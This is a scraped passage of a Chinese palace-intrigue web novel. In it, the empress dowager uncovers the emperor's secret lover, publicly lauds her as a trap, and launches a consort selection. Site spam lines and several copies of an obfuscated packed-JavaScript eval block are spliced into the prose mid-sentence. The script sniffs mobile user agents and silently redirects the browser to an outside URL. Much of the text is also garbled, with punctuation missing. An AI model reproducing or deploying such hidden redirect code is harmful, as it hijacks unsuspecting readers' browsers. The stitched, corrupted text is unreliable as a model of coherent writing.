两人出了暖阁,步入清冷的夜色中。园中廊下悬着的气死风灯在风中轻轻摇曳,映照着尚未融尽的积雪和嶙峋的假山石影。 姜玄没有多言,牵着她,穿过一道道月亮门和回廊,两人并未在园中多做停留,而是径直出了枫林苑的侧门,朝着不远处那片打理好的冰湖走去。 长乐宫中,太后的酒意有些上头,脸色微微泛红,她倚在窗边软枕上,拨弄着腕上一串碧玺手串,想着心事。 观星台的暗探井月脚步轻悄如猫,行至榻前,屈膝行礼后,压低声音禀告:“启禀娘娘,先前被雍王软禁之人的确切下落,属下已经查到了。” 太后拨弄手串的指尖一顿,眸光转了过来。 井月继续禀道:“就在京郊西面一处庄子上。那庄子看似寻常,守备却外松内紧。里面住着的人足不出户,日常用度皆有专人送入,极为隐秘。若非前阵子那庄子附近发生了人命官司,惊动了左近的里正,报到五城兵马司,他们派人过去例行查探、询问庄户时,我们的人混在其中,机缘巧合窥见了一些端倪,顺藤摸瓜查到了真相,恐怕还很难发现那人的踪迹。” 太后静静地听着,脸上没什么表情,对甄太妃那个人,她原本是没什么特别兴趣的,让井月查探她的下落也只是顺便而已。 可今夜,在这万家团圆的除夕,在这空寂得令人心头发冷的长乐宫里,被酒意和一种难以言说的孤清寂寥浸泡着,她忽然生出一种强烈的、想要找人说说话的冲动。 这世上,历经先帝朝风雨、看尽繁华落尽的,除了她宋雅章,还能有谁?怕也只有甄太妃能懂她一二了。 那个女人跟其他的嫔妃都不一样,她似乎从来没有把先帝放在眼里。太后能看透后宫所有的女人,她们有的要宠爱,有的要权势,有的要家族富贵,有的要锦衣玉食…… 唯有甄太妃,是太后看不懂的。她忽然想找甄太妃说说话,名义上她们都曾是先帝的女人,也都保住了清白之身,没有伺候先帝那个脏透了男人。 太后忽然想找甄太妃说说话,这个念头一起,便如同藤蔓般疯长。 “来人。”太后忽然开口。 沁芳立刻躬身:“娘娘?” “备车,”太后站起身,“哀家要出宫一趟。” 不多时,一辆看似普通、实则内里布置舒适周全的翠幄青绸车,带着数十名侍卫,悄无声息地融入了夜色之中。 车内,太后闭目养神,明艳的面容在晃动的阴影里很是沉静,眸色深深,晦暗不明。 第244章 看见 枫林苑外那片不大的湖泊此刻冰面平整如镜反射出幽冷清冽的光泽。 此处本就僻处京郊附近庄户人家大都已进入梦乡除了零星几点昏黄的灯火四下里一片静谧唯有风声掠过枯枝的微响。 姜玄扶着薛嘉言坐上铺着厚厚锦垫的冰车自己则换上冰鞋。他试了试脚下的稳固度然后俯身握紧了冰车前端的牵引绳索。 “坐稳了。”他低声道眼底映着冰面的碎光和她的身影。 薛嘉言点点头双手扶住冰车两侧。下一瞬冰鞋在冰面上划出一道流畅的弧线姜玄拉着冰车稳稳地滑了出去。 起初速度并不快薛嘉言能清晰地感受到冰车滑过镜面般冰层的顺滑感夜风扑面而来带着凛冽的寒意和旷野独有的清冽气息。渐渐地姜玄加快了速度 薛嘉言没想到姜玄竟也会滑冰而且滑得相当不错。身姿挺拔动作协调有力即便拉着一个人依旧显得游刃有余转向、加速都控制得恰到好处。 姜玄一直留意着她的神情见她眉眼舒展颊边被冷风吹出绯红唇角噙着真切的笑意心中也盈满了满足。他稍稍放缓速度侧头问她:“晕不晕?” 薛嘉言摇摇头几缕碎发被风吹得拂过她光洁的额角和含笑的眼睛:“不晕好玩。”她的声音在寂静的夜空下格外清晰带着一丝难得的、少女般的轻快。 然而两人的欢愉并未持续太久。 “什么人?!” 一声压低的厉喝骤然从湖畔东南角的稀疏林子里炸响那是姜玄提前布下的暗卫发出的。 姜玄反应极快几乎在喝声响起的同时便猛地刹住脚步冰鞋在冰面上划出尖锐的摩擦声。他立刻循声望去脸色瞬间沉了下来。 东南角的林子阴影里已然传来了兵刃相交的铿锵之声短促而激烈显然暗卫已经与不速之客交上了手! 变故陡生! 姜玄没有丝毫犹豫立刻弯腰以最快的速度解开冰鞋的绑带甚至顾不上穿回靴子赤着脚踩在冰冷刺骨的冰面上一把将薛嘉言拉起来。 “走!”他只吐出一个字声音紧绷。 薛嘉言立刻跳下冰车姜玄手臂用力一只手将她半揽在怀里另一只手紧紧握住她的手腕转身就朝着枫林苑的方向疾奔。 “别怕”他一边跑一边急促地在她耳边低语声音在 听说看这本书的人都是很幸运的,分享后你的运气会更棒 夜风中有些飘忽,却异常坚定,“一切有我。” 薛嘉言的心在最初的惊骇后迅速镇定下来,咬紧牙关,努力跟上姜玄的步伐。两人很快进了枫林苑门内。 “太后娘娘在此,还不住手!” 一声清亮而威严的厉喝后,打斗声骤然一滞,兵器碰撞的锐响迅速减弱下去。 沁芳手持一盏明亮的气死风灯,快步走过来,灯影摇曳,照亮了她身后不远处太后沉静肃然的面容。 太后披着厚重的墨狐裘,兜着风帽,只露出半张脸,眼神锐利如鹰隼。 沁芳眉头一皱,冷声问道:“你们是敖指挥使的人?” 姜玄的暗卫首领心下一沉,他略一迟疑,与其他暗卫交换了一个眼神,对方亦是太后心腹侍卫,方才短暂交手已知他们的武功路数,便知瞒不过去,只得上前一步,单膝点地,沉声道:“卑职等奉旨护卫,惊扰太后凤驾,罪该万死。” 太后眼神未动,似乎对这个答案毫不意外。她看着不远处那扇大门,声音不高,却带着一种穿透寒夜的冷意,吩咐道:“沁芳,去敲门。” “是。”沁芳应声,立刻提着灯笼,快步走向枫林苑紧闭的大门。 不多时,大门洞开。门内光影流泻而出,映出一道清瘦挺拔的身影。 甄太妃身着素色道袍,外罩一件灰色棉氅衣,立于门内,神色平静无波,朝着门外的太后双手合十,行了一 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“素华……”太后轻轻重复了一遍,未置可否,目光却已转向敞开的门内,“深夜叨扰了。” 甄太妃侧身让开道路,伸手示意:“山居简陋,唯粗茶尚可待客。太后娘娘,请。” 太后不再多言,举步迈过门槛,沁芳紧随其后。暗卫与太后侍卫各自收了兵刃,却依旧警惕地分立两侧,气氛依旧紧绷。 一行人随着甄太妃穿过前庭,来到一间收拾得极其洁净简朴的茶室。室内摆着一套红木桌椅,桌上有红泥火炉,炉上铜壶正咕嘟咕嘟冒着热气,热气氤氲。 两人分别落座。甄太妃亲自执壶,将煮沸的山泉水注入早已备好的素白茶壶,动作舒缓流畅,不见丝毫慌乱。 太后端起茶杯,并未立刻饮用,而是看着杯中碧绿茶汤,忽然开口问:“你当年是怎么从皇陵里逃出来的?” 第245章 怎么又是她 甄太妃抬眼看向太后,唇角勾起一丝轻笑,笑意里无悲无喜,只有看透世情的漠然:“前尘往事,譬如昨日死。如何出来,并不重要,娘娘又何必再提? 太后看着她那平静无波的眼睛,沉默片刻,啜饮一口茶水,忽然感慨了一句:“先帝后宫那么多女人,争了一辈子,斗了一辈子,你倒是一直干干净净,不曾沾染半分污秽。 甄太妃垂下眼帘,语气平和地接话道:“娘娘说的是。世事如棋,局终人散,能得一片清净地,已是莫大福分。 太后目光落在甄太妃平静无波的脸上,似乎不经意地提起了旧事:“说起来,当年皇上曾私下里来求过哀家,让哀家设法救你。他对你,倒是一片至诚的孝顺之心。 甄太妃抬起眼,迎上太后看似温和实则暗藏审视的目光,低声道:“皇上……确是个心善念旧的孩子。旁人对他的好,哪怕只有一分,他也总惦念着,想着要还上十分。太后娘娘在他年少时,费心教养过他几年,对他的心性,应当比旁人更为了解才是。 “是啊,太后轻笑着,“对了…… 她话锋在此一顿,目光转向茶室虚掩的门外,“皇上今夜不是也在此处么?怎的躲着不出来,不来陪长辈喝茶说话。 甄太妃神色如常,“皇上稍后便来。 不多时,门外响起了沉稳的脚步声,不疾不徐,停在茶室门口。轻叩三声,门被推开,姜玄走了进来。 他已重新穿戴整齐,换回了常服,姿态从容。 姜玄神色平静,进门后依礼躬身:“儿臣参见母后。不知母后深夜驾临,有失远迎。 太后端坐未动,只抬了抬眼皮:“皇帝来了。坐吧。 姜玄直起身,并未坐到太后下首,而是自然地走到了甄太妃身侧空着的位置,撩袍坐下。 他坐下后,伸手接过了甄太妃手中正要添水的茶壶,温声道:“**歇着,让朕来吧。 甄太妃并未推辞,只微笑着将茶壶递给他,自己则双手拢于袖中,静静地看着他。 姜玄便不再言语,垂眸专注于手中茶事。烫杯、取茶、冲水……他做来慢条斯理,手法娴静优雅,氤氲的水汽模糊了他冷峻的眉眼,也暂时隔绝了太后的审视目光。 太后看着他行云流水的动作,看着他与甄太妃之间那份无需言说的默契与亲近,眼神一点点暗沉下去。她终于开口,打破了屋里的冷寂: “哀家听闻,皇帝今夜是出宫巡查京畿防务去了? 姜玄将一盏新沏好 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 的茶轻轻放到太后面前,这才抬起眼,迎向太后的目光,语气平淡道:“是。刚巧巡查至附近,想起**独居此处,便顺路过来叨扰,给**问个安。” 太后轻轻“呵”了一声,不知是笑还是别的什么。 “原来如此。” 姜玄道:“不知太后娘娘怎么会到这里来。” 太后随口道:“本想去山上上根香的,这会突然没了兴致。” 她的确是没了兴致,原本想找甄太妃说说话的,此时已经没什么想说的,放下茶杯,目光在姜玄和甄太妃脸上逡巡片刻,忽然站起身,“天色确实不早了,哀家也该回宫了。皇上既已巡查完毕,便与哀家一同回去吧。” 姜玄并未动身,语气依旧恭谨,却透着不容转圜的坚定:“母后说的是。只是朕难得有闲暇出宫,更难得有机会陪**说说话。**独自守岁,未免寂寥。今夜,朕便不走了,在此陪陪**。” 他顿了顿,抬眼直视太后,补充道,“朕会安排得力之人,护送母后凤驾安然回宫。” “也好。”太后不再多言,这两个字吐得极轻,她不再看姜玄,也未再看甄太妃一眼,拂袖转身,径直朝茶室外走去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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直到枫林苑那夜井月跟在太后身侧匆匆一瞥。 纵然夜色昏暗姜玄又将人护得严实但惊鸿一瞥间那女子脸部轮廓及身形 观星台内部绘画能手很快根据井月的描述绘制出了一张画像人手撒出去后两三日便查到了薛嘉言身上。 当井月将“薛嘉言”这个名字的密报呈到太后面前时一切迷雾豁然开朗。 太后端坐在长乐宫的暖榻上手中捻动的碧玺佛珠不知何时停了下来。 她静静地听着井月禀报:薛嘉言已故大理寺寺丞戚少亭遗孀其母为商户其父肃国公府大老爷福运粮行东家因经商获封五品宜人…… 井月说的每一个字都像一根针扎在太后心头。 一个形同外室女的女人一个抛头露面的商户一个生过孩子**丈夫的寡妇…… 可偏偏就是这样一个不堪的女子让姜玄那般上心不惜在除夕夜冒着风险与她私会! “薛、嘉、言……”太后缓缓吐出这个名字齿间仿佛咀嚼着某种令人作呕的东西。 她想起紫宸殿那一夜姜玄服用了“引梦散”后嘴里呢喃出的那个名字。 原来不是“燕燕”不是“嫣嫣”而是“言言”! “原来是她!”太后猛地攥紧了手中的碧玺珠串心中升腾起滔**意。 她宋雅章堂堂宋氏嫡女自小被家族精心教养容貌才情冠绝京城是盛京最明媚鲜艳的牡丹。 可那又如何呢…… 在姜玄眼中他看不到牡丹竟然垂怜路边小小一朵白花。 太后呼吸渐渐乱了胸口剧烈起伏那双总是沉静冷漠的凤眸此刻燃起幽深骇人的火焰混杂着恨意与偏执。 她手中的珠串越攥越紧终于承受不住失控的力道“啪”一声轻响绳子崩断莹润的珠子哗啦啦滚落一地在光洁的金砖上四散跳开映照着太后那张因嫉恨与愤怒而微微扭曲、却依旧美得惊心动魄的脸庞。 除夕夜过后太后那边风平浪静仿佛枫林苑那夜从未有过意外。她依旧在长乐宫焚香礼佛接见宗亲过问宫务对皇帝的态度也如常带着合乎礼法却并不亲昵的疏淡。 然而平静的水面下暗流已然开始涌 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 动。 正月初五,年节的气氛依然浓郁,戚家门前却停了一辆不起眼的青帷小车。车上下来一位三十许人、衣着素净却气度沉稳的女子,通传后,言明是宫中女官,奉太后口谕,特来传旨给薛宜人。 薛嘉言心中猛地一沉,面上却竭力维持镇定,将女官迎入正厅。那女官并不多言,只清晰传达:明日正月初六,命妇循例入宫向太后贺岁请安,太后特旨,薛宜人亦需入宫觐见。 送走传旨女官后,薛嘉言心绪不宁,立刻让拾英设法联系了张鸿宝。张鸿宝的回话很快递了进来,只有寥寥数字:“主子宽心,照常进宫即可,不会有什么危险。” 话虽如此,这夜薛嘉言辗转反侧,并未睡好。 正月初六,天色未明,薛嘉言便起身梳洗。她换上了五品宜人的命妇礼服,戴了一套低调的头面。 镜中的她,端庄规整,却也刻板老气,与她平日里的灵动清丽判若两人,力求泯然于众。 马车抵达太和门外,薛嘉言随着其他命妇的队伍,步行至宫门前等候传召。清晨的寒风凛冽,刮在脸上生疼。她垂首敛目,站在人群靠后的位置,尽量降低自己的存在感。 就在她默默观察周遭时,视线不经意间与不远处另一队命妇中的一道目光撞了个正着。 是高氏。 高氏显然也看到了她,脸上闪过一丝讶异,精心描画的眉头几不可察地蹙了一下,目光在她身上打了个转,随即又恢复了惯常的淡漠与疏离,很快便移开了视线,与身旁相熟的贵妇低声交谈起来,再未看她一眼。 薛嘉言重新低下头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198880|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将自己更往人后缩了缩。 然而,即便她再如何低调,在一众大多相熟、彼此寒暄的命妇中,她这张新鲜面孔,依旧引来了不少或好奇、或探究、或带着审视意味的目光。 “那是谁家的?瞧着面生。” “看服色,是最末等的宜人吧?怎的今年也召进来了?” “哦,是她啊,那个经商被封赏的商户女……” …… 低语声断断续续,夹杂着些许恍然与玩味。 长乐宫内,熏香馥郁,暖气融融。按品级盛装的命妇们依序入殿,向端坐于凤座之上的太后行礼拜年,口诵吉祥,衣香鬓影,环佩叮咚,一派新春朝贺的雍容气象。 太后今日身着绛红色织金凤纹宫装,头戴点翠凤冠,妆容精致华美,面色沉静如水,唯有那微微上挑的眼尾,透着一丝久居高位的威仪与疏离。 她的目光看似随意地掠过下方一张张恭顺的面孔,却在掠过人群最后方、那个几乎隐没在阴影里的身影时,几不可察地停顿了一瞬。 薛嘉言穿着暗青色命妇礼服,垂首敛目,站在最不起眼的角落。 按照惯例,只有三品以上诰命需单独上前向太后叩拜请安。高氏作为肃国公府的老夫人,自身有诰命在身,依序上前朝拜。 太后受了她的礼,朗声问道:“高夫人,后头那位薛宜人,似乎也是从你们府上出来的?” 高氏心中一凛,面上却不敢怠慢,忙又屈了屈膝,低声回道:“回太后娘娘,是。薛氏是夫君平妻吕氏所出,如今是戚家妇。” 太后恍然般点了点头,唇角噙着一丝笑意,目光看向人群后的薛嘉言:“原来如此。薛宜人,上前来,让哀家瞧瞧。” 殿内霎时安静下来,所有目光齐刷刷地投向了薛嘉言。 薛嘉言深吸一口气,从阴影中走出,步履平稳地行至御阶下,依足礼数,深深下拜:“臣妇薛氏嘉言,叩见太后娘娘,恭祝娘娘凤体安康,新春吉祥。” “抬起头来。”太后的声音从上首传来。 第247章 高高捧起 薛嘉言缓缓抬头却依旧垂着眼睫不敢直视。 太后打量着她目光在她清丽的面容上停留片刻。 “倒是个齐整的好模样。”太后微微颔首语气平淡听不出太多情绪。 这时侍立在高夫人身侧不远的一位中年贵妇——出身宋家的徐夫人含笑接话道:“太后娘娘说的是。薛宜人不仅模样好为人也大方得体。臣妇听闻今年户部采买冬衣薛宜人名下的铺子为边关将士捐献了不少厚实布匹呢。” 太后闻言眉梢微挑似乎真的生出了几分兴趣看向薛嘉言的目光也多了些探究:“哦?薛宜人还有此等义举?怎么想起来给边关捐赠布匹?可是有什么缘故?” 薛嘉言心中警铃大作却不得不答。她维持着恭敬的姿态声音清晰而平稳:“回太后娘娘臣妇不过是尽些绵薄之力。边关将士戍守苦寒之地浴血奋战方能保我大兖山河无恙百姓安居。臣妇身为大兖子民既有些许余力捐献些御寒之物不过是略表感念之心实属分内之事不敢当‘义举’之称。” 太后听罢脸上笑意深了些赞许地点点头:“难得你一个深宅妇人能有如此胸怀见识知晓家国大义实属不易。” 她顿了顿 她环视殿内众命妇声音略微提高清晰地说道:“女子立世德行为先。薛宜人既能顾全大义又能坚守贞洁孝道内外兼修实乃我大兖女子之表率。” 这番话一出殿内众命妇神色各异。有人跟着点头附和有人面露深思也有人眼底闪过不易察觉的玩味。 薛嘉言却听得后背发凉。太后将她捧得越高她心中的不安就越发浓重。 太后赞完侧首对侍立在旁的沁芳道:“哀家记得库里有一架‘雪莲傲霜’的琉璃苏绣桌屏清雅高洁寓意极好。拿来。” 沁芳躬身应是片刻后便有两名宫女小心翼翼地抬着一架桌屏上前。 那桌屏不大约两尺来高框架竟是琉璃所制屏心是一幅极为精致的苏绣绣了皑皑冰川之上一株凌寒绽放的雪莲花瓣晶莹剔透枝叶傲然挺立。 “这‘雪莲傲霜’最配薛宜人这般冰清玉洁、贞毅不屈的品行。”太后含笑道“今日便赐予你望你 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 时时自勉,永葆此心。” “臣妇……叩谢太后娘娘恩典!”薛嘉言只能再次深深拜下,额头触地冰凉的瞬间,心也沉到了谷底。 宫女将桌屏抬至薛嘉言身侧。殿内立刻响起一片附和之声。 “太后娘娘赏赐得宜!” “薛宜人品行高洁,当得此物!” “正是,雪莲之品,正衬薛宜人之德……” …… 在一片或真或假的赞誉声中,薛嘉言谢恩起身,低垂的眼睫掩去了眸中翻涌的惊涛骇浪。 长宜宫内,张鸿宝垂手立在下首,将长乐宫朝贺时发生的一切,包括太后的每一句话、每一个眼神、那架“雪莲傲霜”桌屏的细节,乃至殿内命妇们的反应,都事无巨细地禀报了一遍。 姜玄静静地听着,脸色在灯影下晦暗不明,唯有那双深邃的眼眸,时而锐利如刀,时而沉郁如海。当听到太后当众盛赞薛嘉言的“贞洁孝义”、“女子表率”,并赐下那寓意清高孤绝的雪莲屏风时,他眉心紧蹙了起来。 他太了解太后了。这绝不是赏识,这是一步极其阴险的棋——将人捧上神坛,接受万众瞩目与道德加冕,然后……只需轻轻一推,便能让她摔得粉身碎骨,万劫不复。 “好一个‘女子表率’……”姜玄低低地重复着,声音里浸透着寒意。他几乎能想象出薛嘉言当时在殿中孤立无援、如履薄冰的模样,以及此刻面对那华丽屏风时,心中该是何等惊惶与沉重。 他暗自咬牙,眼底闪过凌厉的锋芒。 春和院里,那架晶莹剔透的琉璃雪莲桌屏,就放在炕桌上,美得惊心,也冷得刺骨。薛嘉言独自坐在榻边,怔怔地望着它,秀眉紧蹙,愁绪满怀。 “吱呀”一声轻响,房门被推开,带进一股夜风的微凉,也带来了熟悉的气息。 薛嘉言从榻上弹起,扑进了来人的怀里,紧紧攥住了他胸前的衣襟。 姜玄被她撞得微微后退一步,随即稳稳接住她,感受到怀中身躯的轻颤,心中疼惜更甚。他努力压下翻腾的心绪,故作轻松地低笑一声,下巴蹭了蹭她的发顶:“瞧你,慌成什么样子了?心快跳出来了,让我摸摸,是不是真的?” 他说着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198881|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温热的手掌已探入了她微微松散的衣襟。 薛嘉言被他这突如其来的孟浪举动惊得低呼一声,脸上瞬间绯红,又羞又急,连忙去推他的手:“别闹!” 姜玄却偏不让她推开,手指甚至带着些许惩罚意味地轻轻按了按,低声在她耳边道:“呀,好像跳得真的有些快… 你的朋友正在书荒,快去帮帮他吧 …” 两人你来我往,一个要推,一个偏要往里探,拉扯间气息交缠,体温上升。 薛嘉言起初那紧绷到极致的神经,竟在这带着狎昵意味的玩闹中,不知不觉松缓了几分,不再那么害怕。她最终气喘吁吁地按住他作乱的手,抬眼瞪他,眼波潋滟,含着薄怒与嗔怪:“你老实点……正经说会话吧!” 见她眉间愁色稍褪,脸颊泛红,眼中有了别的神采,姜玄这才满意地收了手,却依旧将她牢牢圈在怀里,抱着她一起坐到了榻上。 薛嘉言靠在他坚实的胸膛上,听着他沉稳有力的心跳,轻声问道:“太后娘娘……她是知道了咱们之间的关系,对不对?” 姜玄揽着她的手臂微微一紧,缓缓开口,声音低沉而温柔:“言言,太后今日举动,确有深意。或许将来某一天,你在名声上……会遭受一些非议,甚至是很严重的诋毁。那可能是暂时的风暴,也可能会持续一段时间。你能承受得了吗?” 他凝视着她的眼睛,不想有丝毫隐瞒她即将可能面对的风险:“我安排一下,让你和棠姐儿、宁儿,去一个安全的地方,避开这些纷扰。等风头过去,再接你们回来。” 薛嘉言几乎没有丝毫犹豫,立刻摇头,眼神从最初的惶惑变得清晰而坚定:“我可以的。” 她的声音不大,却掷地有声。 前世,她什么没经历过?冷眼、嘲讽、唾骂……所谓名声,早已被她抛却了。 她看着姜玄,“皇上不必为我担心,我能承受得住,我不想离开京城,我想偶尔能看到你和阿满。” 姜玄收拢手臂,将她更紧地拥入怀中,低声道:“好。对不起,言言……” 薛嘉言伸出手指覆在他的唇上,柔声道:“不必说对不起,相比于失去名声,我得到的已经够多了。” 第248章 再选秀 长乐宫偏殿内沉香袅袅姜玄按例来给太后请安。 太后端坐于上首的紫檀木椅上姜玄坐在下首神情平静等着太后开口。 “皇帝”太后缓缓开口“开春之后宫中该操办选秀了。一来充实后宫绵延皇嗣;二来也是安朝臣之心定社稷之基。” 姜玄微微颔首语气恭敬:“母后所言甚是。此事便由母后与礼部商议着办即可。” 太后似乎对他的顺从颇为满意话锋一转提起了旧事:“哀家记得当年宋家提过愿将族中适龄淑女送入宫中侍奉君王以固君臣之谊。” 她顿了顿观察着姜玄的神色继续道:“虽无明旨诏书为证但当年口头之约想来皇帝金口玉言也不会不认吧?” 姜玄自然记得他登基前不久内外交困、急需稳固权位宋家全力拥立他私下里提出了联姻之请。 那时薛嘉言已为人妇甚至已为人母生下了棠姐儿。他想象着她与戚少亭夫妻和顺、儿女绕膝的情景只觉自己此生再无可能娶谁似乎都无关紧要。于是对于宋家的提议他默认了。 此刻面对太后的旧事重提姜玄面上波澜不惊心中却已飞快权衡。他沉默片刻随即抬眼对上太后的目光颔首道:“母后提醒的是当年确有其事。朕自然记得。” 太后见他承认语气也柔和了些许:“皇帝记得便好。哀家这堂侄女名唤静仪今年刚满十七性子贞静模样也端庄自幼熟读诗书通晓礼仪。哀家瞧着与皇帝甚是相配。皇帝以为如何?” 姜玄缓缓开口声音依旧平稳:“既是母后觉得相配那想必是极好的。母后看中的人朕没有异议。” 太后没料到姜玄会答应得如此干脆没有任何异议或推脱。她脸上露出一丝真切笑意语气也轻快了不少:“那哀家便让礼部开始筹备选秀事宜到时候皇上也多挑些妃嫔充盈后宫” 姜玄微微颔首态度无可挑剔:“一切但凭母后做主。礼部那边朕会吩咐他们用心操办。” “好好。”太后连连点头。 “若无其他事儿臣便先告退了。”姜玄行礼道。 “去吧皇帝也早些歇息国事虽重也要保重龙体。”太后温言道目送着姜玄挺拔的身影退出殿外。 姜玄与太后谈完之后 礼部的文书一道道拟定宫中的相关司局也开始忙碌起来修缮 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 宫室、制备仪仗、拟定名单、安排教引嬷嬷…… 各种关于选秀的留言也甚嚣尘上,大家都在议论着,皇帝已经二十一了,这次选秀该选多少人,又有哪些人会被选中。 元宵节的喧嚣与灯火刚刚散去,秀女们依着家世、品级,每日分批被引入宫中,前往长乐宫觐见太后。一时间,通往长乐宫的宫道上,时常可见莺莺燕燕,环佩叮咚,衣香鬓影,给肃穆的宫廷平添了几分鲜活的颜色,也带来了无数或明或暗的打量与比较。 太后端坐凤位,雍容含笑,对每一位上前拜见的秀女都温言垂询几句,观其容貌,察其举止,问其家世才艺。每日,沁芳都会将每位秀女的详细家世背景、容貌性情优缺点,整理成简册,呈送给皇帝姜玄御览。 姜玄对此似乎并无不耐。他每日都会抽出时间,翻阅沁芳送来的简册,偶尔还会就某个秀女的情况多问两句,显得颇为上心。甚至,他还按照太后的建议,分批召见过几回秀女,隔着珠帘或屏风,听她们奏琴、吟诗,或简单问话。 这其中,对宋家那位内定的皇后人选——宋静仪,姜玄更是给予了特别关注。在长乐宫花园的暖阁里,姜玄单独召见了宋静仪,与她说了约莫一盏茶功夫的话。具体说了什么,无人得知,只知宋静仪出来时,脸颊微红,眼眸低垂,虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17198882|197140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竭力保持镇定,但仍露出些许羞怯与期待。 就在这次单独召见后不到两日,一桩不大不小的意外便在储秀宫中发生——宋静仪惯用的茶盏里,被人查出了些许不该有的东西,虽不致命,却足以让她娇嫩的脸颊和脖颈上,生出了一片恼人的红疹,短期内无法见人,更遑论参与后续的遴选与展示。 此事一出,储秀宫乃至整个后宫都起了微澜。皇帝闻讯,立刻指派了太医前去诊治,还特意赐下几样名贵的药材和安抚性的首饰玩物给宋静仪,以示关怀。 一时间,各种猜测与流言如同春日柳絮,纷纷扬扬,越传越盛。有人说这是其他嫉妒宋静仪的秀女所为;有人暗中揣测是不是宋家内部或太后一系的政敌在使绊子;更有人将目光投向了皇帝那次的“单独召见”,私底下嘀咕,莫非是皇帝对宋静仪过于明显的“青眼”,反而为她招来了祸患? 选秀如火如荼地进行着,真真假假的消息也随之满天飞。今日说某位秀女因一首诗得了太后夸赞,明日传另一位秀女在御花园“偶遇”皇帝,相谈甚欢……种种传闻,以讹传讹,不断发酵、变形,在宫墙内外传递,牵动着无数人的心弦。 这些风声,自然也断断续续的,飘进了薛嘉言的耳朵里。 “嫂子,我娘的嗓子坏了,前些日子还只是说话难听些,今日已经彻底说不出来话了,张大夫也没瞧出是什么症候,嫂子,你快想办法找太医给娘瞧瞧吧!” 戚倩蓉有些焦急地跟薛嘉言说着。 薛嘉言蹙眉,栾氏前些日子便说嗓子疼,现在已经严重到这个地步了?她本能的不想管这事,栾氏是个碎嘴子,不能说话才好呢,她可忘不掉前世栾氏那张嘴是如何羞辱她的。 “行,我知道了,你先回去吧,我会想办法的。” 薛嘉言拿话哄走了戚倩蓉,刚清净一会,拾英进来了。 第249章 寿宴 薛嘉言坐在春和院的书房中,听着拾英小心翼翼、尽量挑着不那么刺耳的内容转述,手中的账本许久未翻一页。 窗外春光渐暖,枝头已有新绿萌发,可她心里却像是堵着了,酸涩沉重,透不过气来。 她一直都知道,他是皇帝。皇帝选秀,充实后宫,册立皇后,是天经地义,是祖宗规矩,是江山社稷所需。 可当这一天真的伴随着具体的人名、时间,一步步逼近,变成活生生的现实时,想象着他将与另一个甚至更多的女子共享尊荣、生儿育女,她心中还是满含酸楚。 拾英看着薛嘉言怔怔出神、眉眼间笼着淡淡轻愁的模样,心里也跟着难受。 她想劝慰几句,张了张嘴,却发现任何言语在此刻都显得苍白无力。因为就连她自己,心底也隐隐觉得,皇帝立后纳妃,是迟早的事,主子再得圣心,终究难敌这煌煌礼法与江山重担。 不几日,便是太后的寿诞。虽非整寿,但宫中依旧循例举办了规模不小的万寿宴,以示孝道与庆贺。此番寿宴召了宗室亲眷、勋贵命妇,薛嘉言也被太后亲笔点召入宫。 宫宴设在颐安殿,殿内金碧辉煌,处处彰显着天家富贵与太后的尊荣。 薛嘉言随着引路宫人,被安排在靠近殿门、几乎最末的席位。这里远离御座,光线也略显暗淡,却也能清晰地望见殿中全景。 薛嘉言垂首敛目,不敢直视御座方向,可眼角余光却总能捕捉到那个熟悉的身影——姜玄端坐在太后下首的御案后,身着赭黄常服,面容威严清冷,与薛嘉言平日所见相差很远。他正与身旁的宗室贵妇低声说着什么,神情专注,似乎未注意到这殿内角落里多了一个她。 薛嘉言心中涩然,默默收回视线,盯着眼前案几上精美的御膳点心,却毫无食欲。 命妇们依序上前,说着各式吉祥话向太后贺寿,声音或清脆或沉稳,俱是笑意盎然。紧接着,便是此番入宫的秀女们,为了在太后和皇帝面前展露才艺、博取好感,精心准备的庆贺节目。丝竹悦耳,歌舞曼妙,或吟诗作对,或抚琴献画,一时殿内流光溢彩,尽是青春明媚的气息。 薛嘉言坐在最末,是一个沉默的旁观者,看着那些鲜活娇艳、家世显赫的年轻姑娘,在殿中央尽情展示着自己的美好。 